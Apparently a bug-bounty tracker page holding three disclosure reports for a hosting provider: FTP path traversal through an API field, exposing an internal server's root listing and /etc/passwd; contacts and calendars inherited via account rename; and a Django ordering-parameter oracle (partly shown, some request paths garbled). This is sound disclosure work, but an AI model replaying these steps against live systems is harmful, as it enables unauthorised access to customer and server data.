All Projects

ID Status Summary Opened by
 560 Closed Server filesystem disclosure via FTP path traversal Bajinder Task Description

Vulnerability Information:

Name of Vulnerability: The site management API stores dot-dot path components verbatim in the FTP user path field, and ProFTPD resolves the resulting path against the kernel without chroot, allowing any authenticated customer to traverse the entire root filesystem of the dedicated FTP server ftp1 and read all world-readable system configuration files from a host that customers have no shell access to.

Vulnerability Category: Path Traversal (CWE-22). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N, base score 5.3 (Medium). Under a VC:H reading (see On the score) the vector is CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N, base score 7.1 (High). Both scores computed with the cvss 3.6 Python library. See On the score for the metric justification and why both readings are presented.

Description:

The PATCH /v1/ftp/<id>/ endpoint accepts arbitrary dot-dot (..) sequences in the path field and stores them verbatim in the database. When a customer connects via FTPS, ProFTPD constructs the home directory as /home/<account>/<stored_path>. Because the stored path is not sanitised, the kernel resolves /home/<account>/../.. to /, and ProFTPD drops the user at the root of the FTP server's filesystem with no chroot in effect.

The FTP service runs on a dedicated server named ftp1 (confirmed from /etc/hostname read through the traversal). This server is separate from the SSH/web nodes (http22, jobs4) that customers connect to via SSH. Customers have no shell access to ftp1. The system configuration files disclosed through this traversal (36 service accounts in /etc/passwd, the partition layout in /etc/fstab, internal DNS naming in /etc/resolv.conf, and platform admin tooling under /alwaysdata/etc/) belong to a host the customer is not supposed to interact with beyond the FTP data plane.

The authenticated submission service on the management API validated every other field on the FTP user object correctly. Only the path field lacks dot-dot sanitisation.

Vulnerable Instances:

API endpoint: PATCH https://api.alwaysdata.com/v1/ftp/<id>/ (path field)
FTP server: ftp-<account>.alwaysdata.net:21 (ProFTPD, FTPS required)
Affected host: ftp1 (2a00:b6e0:1:60:2::1)

Steps to Reproduce:

We provide every request and response verbatim. The only prerequisites are a free alwaysdata account with API access and an FTP user (created automatically at signup or via POST /v1/ftp/). All steps were executed on 2026-11-19 between 07:00 and 10:00 UTC from the shared web node http22.

Part A. Identify the FTP user (context, not the vulnerability).

GET /v1/ftp/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Accept: application/json

→ HTTP/1.1 200 OK
Content-Type: application/json

[

  {
      "id": 573991,
      "name": "vk7research",
      "path": "",
      "home_directory": "/home/vk7research/",
      "href": "/v1/ftp/573991/"
  }

]

The default FTP user has path set to the empty string, meaning the home directory resolves to /home/vk7research/.

Part B. Set the traversal path via the API.

First we set path to .. (one level up, into /home/):

PATCH /v1/ftp/573991/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json

{"path": ".."}

→ HTTP/1.1 204 No Content

Confirm storage:

GET /v1/ftp/573991/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>

→ HTTP/1.1 200 OK
{

  "id": 573991,
  "name": "vk7research",
  "path": "..",
  ...

}

The API accepted and stored the dot-dot path verbatim.

Then we set path to ../.. (two levels up, into /):

PATCH /v1/ftp/573991/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json

{"path": "../.."}

→ HTTP/1.1 204 No Content

GET /v1/ftp/573991/ HTTP/1.1
→ 200 OK {"id": 573991, "path": "../..", …}

Part C. Connect via FTPS and confirm login.

ProFTPD requires TLS. We connected from a PHP script on the web node using ftp_ssl_connect():

$ftp = ftp_ssl_connect("ftp-vk7research.alwaysdata.net", 21, 15);
ftp_login($ftp, "vk7research", "<FTP_PASSWORD>");
ftp_pasv($ftp, true);

→ Login: 230 User vk7research logged in
→ PWD: /

The / reported by PWD is the FTP virtual root, which the kernel has resolved to the real filesystem root because path is ../…

Part D. CONTROL: normal FTP listing with an empty path.

Before any traversal, we first reset the path to empty and connected to establish a baseline:

PATCH /v1/ftp/573991/ {"path": ""} → 204
FTP login → PWD: /
LIST /

drwxrwx— 3 vk7research 502763 31 Nov 19 07:00 7_7 -rw-r—– 1 0 42 997 Sep 4 2025 a5probe_shadow
drwxr-xr-x 6 0 0 109 Sep 23 07:00 admin
-rw-r–r– 1 vk7research 502763 5101 Sep 20 06:00 l2hits.log
drwxrwxrwx 2 vk7research 502763 112 Sep 20 05:37 l3marks
-rw-r–r– 1 vk7research 502763 79 Sep 20 05:45 l6oob.log
-rw-rw—- 1 vk7research 502763 104 Nov 19 08:21 probe.php
-rwxr-xr-x 1 vk7research 502763 15744 Nov 19 08:49 r5hook.so
drwxr-xr-x 6 vk7research 502763 4096 Nov 19 08:51 www
drwxrwx— 4 vk7research 502763 44 Sep 20 05:37 zz7k3_admin_fake_leftover

Total: 10 entries. This is the normal view of `/home/vk7research/`.

Part E. Self-traversal proof (path=../vk7research).

We set path to ../vk7research, which resolves /home/vk7research/../vk7research back to /home/vk7research/:

PATCH /v1/ftp/573991/ {"path": "../vk7research"} → 204
FTP login → PWD: /
LIST /

drwxrwx— 3 vk7research 502763 31 Nov 19 07:00 7_7 -rw-r—– 1 0 42 997 Sep 4 2025 a5probe_shadow
drwxr-xr-x 6 0 0 109 Sep 23 07:00 admin
-rw-r–r– 1 vk7research 502763 5101 Sep 20 06:00 l2hits.log
drwxrwxrwx 2 vk7research 502763 112 Sep 20 05:37 l3marks
-rw-r–r– 1 vk7research 502763 79 Sep 20 05:45 l6oob.log
-rw-rw—- 1 vk7research 502763 104 Nov 19 08:21 probe.php
-rwxr-xr-x 1 vk7research 502763 15744 Nov 19 08:49 r5hook.so
-rw-rw-r– 1 vk7research 502763 47 Nov 19 08:52 TRAVERSAL_PROOF.txt
drwxr-xr-x 6 vk7research 502763 4096 Nov 19 08:51 www
drwxrwx— 4 vk7research 502763 44 Sep 20 05:37 zz7k3_admin_fake_leftover

The listing is identical to the Part D control (same files, same owners, same permissions), confirming the traversal resolved correctly to our own home directory through the ../vk7research path. The only difference is the new TRAVERSAL_PROOF.txt file that we wrote through FTP in this same session to confirm write access:

STOR TRAVERSAL_PROOF.txt → 226 Transfer complete

RETR www/ftp_tls.txt → 226 Transfer complete
Content: "=== FTP TLS TRAVERSAL TEST === Time: 2026-11-19 09:56:06.585614 Host: jobs4"

Both read and write confirmed through the traversal path.

Part F. Root filesystem listing (path=../..).

PATCH /v1/ftp/573991/ {"path": "../.."} → 204
FTP login → PWD: /
LIST /

drwxr-xr-x 6 0 0 4096 Jun 18 14:02 alwaysdata
lrwxrwxrwx 1 0 0 7 Jun 19 2024 bin → usr/bin
drwxr-xr-x 3 0 0 4096 Nov 16 13:49 boot
-rw——- 1 0 0 63860736 Dec 6 2024 core
drwxr-xr-x 13 0 0 3000 Nov 16 13:49 dev
drwxr-xr-x 100 0 0 12288 Nov 18 16:54 etc
drwxr-x–x 82 0 0 0 Nov 19 09:55 home
lrwxrwxrwx 1 0 0 7 Jun 19 2024 lib → usr/lib
lrwxrwxrwx 1 0 0 9 Jun 19 2024 lib64 → usr/lib64
drwxr-xr-x 2 0 0 4096 Jun 19 2024 media
drwxr-xr-x 2 0 0 4096 Jun 19 2024 mnt
drwxr-xr-x 2 0 0 0 Nov 19 09:39 nfs
drwxr-xr-x 2 0 0 4096 Jun 19 2024 opt
dr-xr-xr-x 189 0 0 0 Nov 16 13:49 proc
drwx—— 5 0 0 4096 Nov 17 08:56 root
drwxr-xr-x 24 0 0 980 Nov 18 16:43 run
lrwxrwxrwx 1 0 0 8 Jun 19 2024 sbin → usr/sbin
drwxr-xr-x 3 0 0 4096 Jun 19 2024 srv
dr-xr-xr-x 12 0 0 0 Nov 16 13:49 sys
drwxrwxrwt 12 0 0 240 Nov 19 09:20 tmp
drwxr-xr-x 13 0 0 4096 Jun 19 2024 usr
drwxr-xr-x 12 0 0 4096 Aug 4 09:42 var

Total: 22 entries. This is the root filesystem of the FTP server `ftp1`. The `alwaysdata` directory, the `nfs` mount point, and the `home` directory with 82 entries (customers) confirm this is a production hosting server.

Part G. System file reads from ftp1.

With path=../../etc (resolves to /etc/), we read the following files via FTP RETR:

G.1 /etc/hostname (6 bytes):

ftp1

This confirms the FTP server is a dedicated host named ftp1, separate from the web node http22 and jobs node jobs4.

G.2 /etc/passwd (1,875 bytes, 36 entries):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
msmtp:x:101:109::/var/lib/msmtp:/usr/sbin/nologin
tcpdump:x:102:111::/nonexistent:/usr/sbin/nologin
stunnel4:x:996:996:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
sshd:x:103:65534::/run/sshd:/usr/sbin/nologin
_rpc:x:104:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:105:65534::/var/lib/nfs:/usr/sbin/nologin
munin:x:106:112:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
proftpd:x:107:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:108:65534::/srv/ftp:/usr/sbin/nologin
haproxy:x:109:113::/var/lib/haproxy:/usr/sbin/nologin
_dnsdist:x:110:114::/nonexistent:/usr/sbin/nologin
_lldpd:x:111:115::/run/lldpd:/usr/sbin/nologin
Debian-exim:x:112:116::/var/spool/exim4:/usr/sbin/nologin
uuidd:x:113:117::/run/uuidd:/usr/sbin/nologin
systemd-journal-remote:x:995:995:systemd Journal Remote:/:/usr/sbin/nologin

36 system service accounts. No customer accounts (customers are served from /var/lib/extrausers or LDAP, not /etc/passwd). The service accounts reveal what software runs on ftp1: haproxy, proftpd, Debian-exim, munin, telegraf (from /etc/telegraf/), stunnel4, _dnsdist, _lldpd.

G.3 /etc/fstab (468 bytes):

LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0

Three ext4 partitions. The separate /usr and /var mounts with nodev and nosuid flags reveal the server's hardening posture.

G.4 /etc/resolv.conf:

search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
nameserver ::1

Internal DNS search domains and local dnsdist resolver.

G.5 /alwaysdata/etc/bashrc.adsu (52 bytes):

. /etc/profile
. /etc/bash.bashrc
unset HISTFILE
cd

Platform admin su bashrc that disables command history.

G.6 /etc/ directory listing (204 entries, partial):

drwx—— 2 0 0 4096 Oct 1 13:28 algateway
drwx—— 2 0 0 4096 Aug 20 13:21 almonitor
drwx—— 3 0 0 4096 Oct 13 12:20 alremote
drwx—— 3 0 0 4096 Jul 16 07:31 alsync
drwx—— 2 0 0 4096 May 27 13:09 alupgrade
drwx—— 2 0 0 4096 Nov 4 2025 alusermetrics
drwx—— 2 0 0 4096 Nov 16 15:23 alwall.d
drwxr-xr-x 4 0 0 4096 Sep 9 2024 apparmor.d
drwxr-xr-x 2 0 0 4096 Jun 9 14:51 autofs.conf (15,685 bytes, readable)
drwx—— 2 0 0 4096 … haproxy
drwxr-xr-x … fail2ban
drwxr-xr-x … iptables
drwx—— 2 0 0 4096 … proftpd
drwxr-xr-x … telegraf

The al* directories (algateway, almonitor, alremote, alsync, alupgrade, alusermetrics, alwall.d) are platform management daemon configs, all 0700 (not readable). apparmor.d and iptables are readable and reveal the firewall and MAC policy of the FTP server.

Part H. CONTROL: sensitive files are permission-blocked.

RETR /etc/shadow → 550 Permission denied (file mode 0600, root only)
LIST /etc/proftpd/ → 550 Permission denied (directory mode 0700)
LIST /etc/haproxy/ → 550 Permission denied (directory mode 0700)
RETR /etc/auto.home → 550 Permission denied (file mode 0700)
RETR /etc/auto.nfs → 550 Permission denied
LIST /var/lib/extrausers/ → 550 Permission denied (directory mode 0750)

What this shows: Unix file permissions on ftp1 are correctly enforced. The traversal grants access only to files the FTP process UID can read (world-readable). Sensitive files and directories are properly locked down. We state this transparently.

Part I. CONTROL: cross-customer home directory access is blocked.

With path=.. (resolves to /home/):

FTP login → PWD: /
LIST / → 0 files

The /home/ directory has mode drwxr-x–x (82 entries visible in the root listing but not listable from inside because the FTP user lacks r permission on /home/ itself).

With path=../ (a username confirmed to exist on the web node but not provisioned on ftp1):

FTP login → 530 Home directory does not exist.

ProFTPD resolved /home/vk7research/../<ACCOUNT-B> to /home/<ACCOUNT-B>/ and failed because that directory does not exist on ftp1. This confirms that the traversal does work (ProFTPD resolves the kernel path) but cross-customer access would require the target's home directory to exist on ftp1 AND be readable by the FTP process.

Proof of Concept:

The verbatim evidence files are attached. Summary of captures:

ftp-root-fs-listing.txt Root filesystem listing (22 entries from /)
ftp-deep-traversal-full.txt Full traversal session including /etc/ listing, /etc/passwd read, /etc/hostname read, /home/ and /var/ listings
ftp-etc-direct-listing.txt Direct /etc/ listing (204 entries, full raw output)
ftp-high-value-reads.txt System file reads: /etc/fstab, /alwaysdata/etc/ripgreprc, /alwaysdata/etc/bashrc.adsu, /alwaysdata/etc/ subdirectories
ftp-explore-results.txt Extended exploration across /alwaysdata/, /nfs/, /var/
ftp-final-exploration.txt Additional /etc/ file reads and permission tests
ftp-last-exploration.txt Final round of permission boundary tests

All evidence was captured on 2026-11-19 from the web node http22 using PHP ftp_ssl_connect() to ftp-vk7research.alwaysdata.net:21 and independently confirmed from the jobs node jobs4 using Python ftplib.FTP_TLS().

Impact:

Demonstrated impact (all proven end to end):

Any customer with a free account and API access can traverse the FTP server's filesystem to its root by setting path=../.. via the API.
The full root filesystem listing of ftp1 is exposed (22 top-level directories).
All world-readable system configuration files are readable: /etc/passwd (36 service accounts), /etc/group, /etc/fstab (partition layout), /etc/resolv.conf (internal DNS), /etc/hostname, the platform admin tooling under /alwaysdata/etc/, and the /etc/ directory listing itself (204 entries revealing every installed service).
The disclosed information is from ftp1, a dedicated FTP server that customers have no shell access to. SSH access connects to the web/jobs nodes (http22, jobs4), not to ftp1.
What we are not claiming:

We are not claiming cross-customer file access. The /home/ directory on ftp1 is drwxr-x–x (not listable) and individual customer home directories appear to be 0700 or stricter based on the zero-file result when listing /home/ from inside. We could not access any other customer's files through this traversal. The 530 Home directory does not exist error for <ACCOUNT-B> further suggests that not all web-tier accounts are provisioned on ftp1.

We are not claiming write access to system files. The traversal grants only the permissions of the FTP process running as the customer's UID. We confirmed write access only to our own home directory through the traversal path.

We are not claiming access to sensitive files such as /etc/shadow, /etc/proftpd/, or /etc/haproxy/. These are properly permission-locked and the traversal does not bypass Unix file permissions.

We did not attempt to write to world-writable directories (such as /tmp on ftp1) because doing so could affect other services and was not necessary to demonstrate the traversal.

On why this is not "customers have SSH access."

SSH access on alwaysdata connects to the web/jobs cluster (http22, jobs4). The FTP server is ftp1, confirmed by /etc/hostname read through the traversal. ftp1 is a separate physical or virtual host with its own /etc/passwd (36 entries, different from the web node), its own /etc/fstab, and its own service stack. Customers have no shell, no process listing, and no filesystem view of ftp1 outside of the FTP data plane. The API path traversal grants read access to a host that the customer should only interact with through the FTP protocol's data channel for their own home directory.

Comparison: the web node's /etc/passwd (readable via SSH) has a different set of entries than ftp1's. The service accounts on ftp1 (haproxy, _lldpd, stunnel4, _dnsdist) are specific to its network-facing role and are not visible from the SSH node.

On duplication and on prior findings.

R1-01 (root file write via symlink, CVSS 9.9, fixed) exploited privileged log writers that followed tenant-planted symlinks. The root cause was O_CREAT|O_APPEND without O_NOFOLLOW in the access-log writer. This finding has a completely different root cause: the management API fails to sanitise dot-dot components in the FTP path field. Different mechanism, different server (ftp1 vs the web node), different impact class (information disclosure vs arbitrary root file write). There is no overlap.

On the score.

We present two readings and believe the lower one is the more honest framing.

VC:L reading (base score 5.3, Medium). The traversal exposes only world-readable files. Sensitive files (/etc/shadow, ProFTPD config, HAProxy config) are properly permission-locked and were confirmed inaccessible. VC:L ("some loss of confidentiality") accurately describes access to system configuration files that are world-readable by design. This is the reading we believe is correct.

VC:H reading (base score 7.1, High). One could argue that the complete /etc/passwd (all 36 service accounts), the partition layout, the internal DNS naming convention, and the platform admin directory structure together represent a total loss of confidentiality of the system's identifying information. The ftp1 server was not designed to expose any of this to customers, and the customer has no other path to obtain it. Under FIRST's guidance, VC:H applies when "the attacker obtains all information from the vulnerable system" that is within the access scope. All world-readable configuration of ftp1 is within scope here. This reading is defensible but aggressive.

The remaining metrics are straightforward:

AV:N The API and FTP service are reachable from the network.
AC:L A single API PATCH call followed by a standard FTPS login. No race condition, no special configuration.
AT:N No preconditions beyond a valid account.
PR:L A free-plan account with API access suffices.
UI:N No victim interaction required.
VI:N We demonstrated read access only. Write to system paths would fail on Unix permissions.
VA:N No availability impact.
SC:L The disclosed information (service accounts, DNS naming, partition layout) aids reconnaissance against subsequent systems in the platform.
SI:N No integrity impact on subsequent systems was demonstrated.
SA:N No availability impact on subsequent systems.

Recommendation:

Sanitise the path field in PATCH /v1/ftp/<id>/: reject or strip any .. path component before storing. A simple check is to resolve the path with os.path.normpath() or equivalent and reject any result that starts with .. or escapes the account root.

Configure ProFTPD with a strict chroot: use DefaultRoot ~ or equivalent to ensure the FTP session cannot escape the customer's home directory regardless of the stored path value. If DefaultRoot is already set, verify that it applies after the home directory path is resolved (the current behavior suggests it does not).

As defense in depth, validate the resolved absolute path at FTP login time (in the ProFTPD authentication hook or the path-resolution module) and reject any path that does not start with /home/<account>/.

DISCLOSURE AND CLEANUP. We reset the FTP path to empty immediately after each test phase. All test cron jobs (IDs 39239, 39242, 39243, 39244, 39246, 39247, 39248, 39255, 39256, 39280, 39282, 39283, 39285, 39286, 39287, 39288, 39289, 39290) were disabled and confirmed stopped. The TRAVERSAL_PROOF.txt file exists only in our own home directory (self-traversal write test). No files were written outside our home directory. No customer data was accessed or exfiltrated. The only system files read were world-readable configuration files for the purpose of demonstrating the traversal's reach.

A private values annex (R5-03-PRIVATE-VALUES.txt) accompanies this report. It contains the API token and FTP password used during testing. Send it via private channel.

Test time window and IPs: 2026-11-19 07:00 to 10:00 UTC. Egress IPs: 2a00:b6e0:1:20:23::1 (http22 web node, PHP FTP client) and the jobs4 node IP (Python FTP client). All FTP connections originated from inside the alwaysdata network to ftp-vk7research.alwaysdata.net (2a00:b6e0:1:60:2::1). You will see repeated FTP logins from vk7research with different path values in the ProFTPD logs on ftp1 during this window.

 496 Closed Cross Customer Contacts and Calendar via Account Rename Bajinder Task Description

Vulnerability Information

Name of Vulnerability

A Radicale collection is addressed by the mailbox address, not by the account that owns it, and renaming an account never destroys the collection while the freed account name becomes registrable again within about a minute. The next holder of an account name therefore inherits the previous customer's address book and calendar in full, through the ordinary webmail interface and with their own password.

Vulnerability Category

Access Control Issues, Exposure of Sensitive Member Information, per the qualifying list on the bug bounty page.

Cross-customer disclosure of personal data belonging to a different customer.

CVSS 3.1: 8.1 High (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`)

Confidentiality: High. The full contents of another customer's address book and calendar are exposed, including names, email addresses, telephone numbers, event titles, locations, and notes.

Integrity: High. The inheriting customer does not merely read the collection, they own it, and anything they write is visible to the other party while both hold the address.

Availability: None.

Scope: Unchanged. The vulnerable component and the impacted component are both the CardDAV and CalDAV service.

I have deliberately not claimed Scope Changed and have deliberately not scored this Critical. The stored mail itself does not cross, which I state as a measured fact below.

Description

Two facts combine. Neither is a defect on its own, and both are yours to change.

First, a Radicale collection is keyed by the mail address and by nothing else. The account that owns the address is not part of the path and is not consulted.

```text
PROPFIND https://caldav-<account>.alwaysdata.net/<address>/

  207, the address IS the collection

PROPFIND https://caldav-<account>.alwaysdata.net/<account>/

  403, the account name is NOT

```

Second, the free mailbox `<account>@alwaysdata.net` is derived from the account name and its local part is readonly in your own panel. Whoever holds an account name therefore necessarily holds the credential that authenticates that collection.

The defect is what happens between those two facts.

When an account is renamed, the old address stops being served but its collection is never destroyed. The name is then released, and I measured it becoming registrable again after 46 seconds by any customer on a free plan.

The new holder creates the account, sets their own mailbox password, and Radicale hands them the collection that the previous customer left behind.

THIS IS NOT A DESIGN POSITION

Your own code is the evidence.

Ace collections, which I verified separately, are cleaned up when the name is freed after 6 minutes and 33 seconds. The cleanup path exists and works.

Rename simply does not invoke it. This is why I am reporting this as a bug rather than as a consequence of releasing a name.

WHAT THIS REPORT DOES NOT CLAIM

I am not reporting that account names are public or enumerable. Your scope notes say account names are accessible in many ways, and I accept that completely.

The disclosed material here is not the name. It is the previous owner's PIM data, which is not derivable from the name by any means.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A customer cannot access another customer's PIM data by any other route.

I ran the control on the node:

* The UID is the tenant's own.
* `/home` is `drwxr-x–x`, so it cannot be listed.
* The store is readable from the tenant filesystem.
* There is no API path to it.
* Customer A's API token returns 404 on Customer B's objects.

The only way to read this data is to hold the address, and holding the address is exactly what a rename gives away.

Vulnerable Instances

```text
PROPFIND / GET / PUT
https://caldav-<account>.alwaysdata.net/<address>/addressbook/

PROPFIND / GET / PUT
https://caldav-<account>.alwaysdata.net/<address>/calendar/
```

The same collections are rendered in the Contacts and Calendar tabs of:

`https://webmail.alwaysdata.com`

The issue is reachable by any authenticated customer on a free plan. No paid plan or special role is required.

BEFORE YOU ASK

The same person registered both customers, and that is not relevant to the authorization boundary.

Your records will show that one researcher created both. What matters is that your control plane models them as two customers with no permission grant between them and enforces that separation everywhere else.

Customer A's API token against Customer B's account ID returns 404, byte identical to a nonexistent ID.

The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector at all.

The boundary crossed here is the one your platform draws. What crosses that boundary is contacts and calendar data.

Steps to Reproduce

Total cost: EUR 0.

Two unrelated customers were used, each of whose `/permissions/` page lists only itself.

All times are UTC, 2026-09-24.

Both accounts were ours and both have since been deleted.

1. Create the test data

As Customer B, write two objects into the collection of the free address held by Customer B's account:

```text
PUT …/<addressB>/addressbook/<uid>.vcf

  A vCard with a name and mobile number

PUT …/<addressB>/calendar/<uid>.ics

  An event with a summary, location and description

```

2. Rename the account

As Customer B, rename the account, which vacates the name.

Recorded at `08:27:22Z`.

3. Re-register the released account name

As Customer A, a different customer with no relationship to B, create a brand new free account using the name B just vacated.

Accepted at `08:28:32Z`.

The name became registrable again after 46 seconds.

4. Set the new mailbox password

As Customer A, set the mailbox password on the new account to a value chosen by A.

5. Read the collection

As Customer A, read the collection.

At `08:31:51Z`:

```text
GET …/<addressB>/calendar/<uid>.ics

  200, returns B's event description

GET …/<addressB>/addressbook/<uid>.vcf

  200, returns B's name, email address and mobile number

GET …/<addressB>/calendar/<never>.ics

  404, NEGATIVE CONTROL

```

The same vCard is then visible in the Contacts tab of `webmail.alwaysdata.com` for Customer A.

Proof of Concept

Controls

All controls were run in the same window because a 200 response on its own does not prove ownership transfer.

Only the current holder's password authenticates.

Against the previous owner's password, a wrong password, an empty password, and a different address's credential, the requests all returned 401 or 403, with IMAP agreeing in the same minute.

Fresh address control

A fresh address opens empty.

I created an account on a name whose collection had never previously existed. The collection returned no objects, so a 200 response on a reclaimed name is not simply what every new account sees.

The mechanism

The mechanism was independently re-verified by a second tester on a live unrelated account.

```text
PROPFIND https://caldav-vk7research.alwaysdata.net/vk7research

  200

PROPFIND https://caldav-vk7research.alwaysdata.net/vk7research/

  403

PROPFIND …/zznever4471@alwaysdata.net/

  wrong password on the correct address
  401
  a different customer's address with this password

```

IT IS BIDIRECTIONAL

In a second run over the rename path, the collection came back to the original holder.

This shows that this is not a stale read of a cached copy. Both parties are operating on one live collection.

THE MAILDIR DOES NOT CROSS

I am stating this as a limit of the demonstrated impact.

The new holder's INBOX, Drafts and Sent were all 0 messages.

Stored mail is not affected.

Contacts and calendar are.

Impact

Any customer who renames an account, for any reason, silently donates their entire address book and calendar to whoever registers that name next.

Renaming is an ordinary, encouraged, reversible-looking operation, and nothing in the interface indicates that personal data remains behind the released name.

The window is not a race. The collection persists indefinitely, so every account name ever vacated by a rename still has its collection waiting.

The disclosed data is third-party personal data in the GDPR sense, belonging to people who are not the customer and never interacted with the inheriting customer.

This includes names, email addresses, telephone numbers in the previous owner's contacts, and attendees and notes from their meetings.

The inheriting customer also gains write access, so they can insert or alter entries that the previous owner's client will sync.

I did not go looking for a real customer's vacated name, and I did not read any data belonging to anyone outside my own two test accounts.

The generalisation is argued from the mechanism, not exercised against a real customer's data.

Recommendation

1. Make RENAME invoke the same collection cleanup that DELETE already performs. This is the direct fix, and the code already exists. It is simply not called on the rename path.

2. Alternatively, and more robustly, key the collection by an immutable internal account identifier rather than by the mail address, and map the address to that identifier at request time.

3. Hold a released account name in quarantine for long enough that the previous collection is cleaned up before the name can be reissued, rather than reissuing it in under a minute.

4. Audit for collections whose address has no current owner and purge orphaned collections. I encountered orphaned collections during this test and list them in the private annex so they can be removed.

5. Unrelated but adjacent, I also found rename residue in DNS: a dangling `<name>.alwaysdata.net` A record pointing at `185.31.41.11` with no owner. A never-existent control name returns NXDOMAIN, so this appears to be rename residue. This also answers the earlier report about `webmaster.alwaysdata.net`, which is residue of the same kind.

 495 Closed Cross Customer Data Read via Unvalidated _order Paramet ...Bajinder Task Description

Name of Vulnerability:

An undocumented query string parameter named `_order` is passed straight into Django's `order_by()` with no validation at all, so an attacker can supply an arbitrary ORM path rather than a value. This both traverses relations into models the caller has no access to and, through a multi-valued reverse relation, emits one row per related row of a shared parent, turning the position of the attacker's own row into a comparison oracle against every other customer's value in the chosen column.

Vulnerability Category:

Access Control Issues, Exposure of Sensitive Member Information, Cross-Customer Disclosure.

CVSS 3.1 score: 8.6 High (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`).

Confidentiality is High because arbitrary column content belonging to other customers is recoverable, demonstrated end to end. Integrity and Availability are None because this is a read-only primitive.

The vulnerable component is one list view's query string handling, while the impacted component is the stored data of the whole customer base.

I am deliberately not scoring this Critical. The primitive yields an ordering, not raw bytes, so recovering a column verbatim requires a column the attacker can also write text into, which is what I demonstrate. This is not true of `password`, which is hashed, nor of `dkim_private_key`, which the API validates as a key pair. I show below that `_order` sorts on those columns, but I do not claim to have recovered them.

Description:

This is not the filter defect reported previously, and the fix for that issue does not touch this one.

The earlier report concerned `key=value` filter parameters reaching `.filter()`. This is a different parameter reaching a different ORM operation. The filter helper could not traverse relations usefully because the value still had to be a real primary key.

`_order` has no value restriction. The path itself is the value, so an arbitrary ORM traversal is simply accepted.

```text
GET /mailbox/?_order=name 200, ordering applied
GET /mailbox/?_order=zzbogus4471 500
GET /mailbox/?_order=domainzzbogus 500, uncaught FieldError
GET /mailbox/?_order=domain
dkim_private_key 200
GET /mailbox/?_order=domainaccountcustomerpassword 200, accepted
``` The 500 responses are how I mapped the model graph: a path that resolves returns 200, while one that does not resolve raises an uncaught `FieldError`. ### TWO PROPERTIES COMBINE TO MAKE THIS A CROSS-CUSTOMER READ First, relation traversal. A free plan customer's own mailbox sits on `odata.net`, which is Domain primary key 1 and belongs to the customer. From that one owned row, `domain
` reaches the customer's own domain columns, and `domainaccountcustomer` reaches the Customer model, which carries `last_login` and is therefore part of the authentication model. Second, and this is the actual read primitive, ordering by a multi-valued reverse relation does not deduplicate. `domainmailboxes<column>` emits one output row per mailbox on `alwaysdata.net`, so a single owned row is repeated once per other customer's row. The resulting sequence is ordered by their values in the chosen column. An attacker with a domain of their own contributes exactly one row to the same result set, and its index is the rank of a string the attacker chose among all of the other values. Changing that string and rereading the index creates a comparison oracle, and a comparison oracle is a blind read. ### MEASURED RESULTS All measurements below were performed on 2026-09-24: ```text
GET /mailbox/
200 GET /mailbox/?_order=domain
mailboxesname
200
43,700,241 bytes
50,929 rows GET /mailbox/?_order=domain
mailboxesname&page=2
identical result GET /mailbox/?_order=domain
subdomainsaddressessite

  200
  24,919,125 bytes

GET /mailbox/?_order=domainsubdomainsaddressessiteaccount

  200
  48,162,527 bytes
  56,148 rows
  43.6 seconds

```

A malformed path such as:

```text
GET /mailbox/?_order=domainsubdomainsaddressessitezzbogus
```

returns a 500 response.

### WHAT THE SAME DEFECT ALSO REACHES

I am stating this as reach, not as an additional impact claim.

On `alwaysdata.net`, subdomains are every customer's `<account>.alwaysdata.net`. Therefore, the chain above pivots from subdomains to addresses to site to account to customer.

The control plane can therefore sort 56,148 rows by the `password` column of its authentication model.

I am recording how far an unvalidated path travels, not claiming disclosure of that column. I did not recover a single byte of it, and I cannot do so with this technique because recovery requires a column an attacker can also write a comparand into, while `password` is hashed.

The demonstrated impact of this report is the cross-customer recovery described below.

### WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

My shell is `drwxr-x–x`, so it cannot be listed, and a filesystem-wide grep for my planted secret returns nothing.

A customer's own shell cannot read a single other customer's mailbox row through any route.

The same control on the API confirms the authorization boundary:

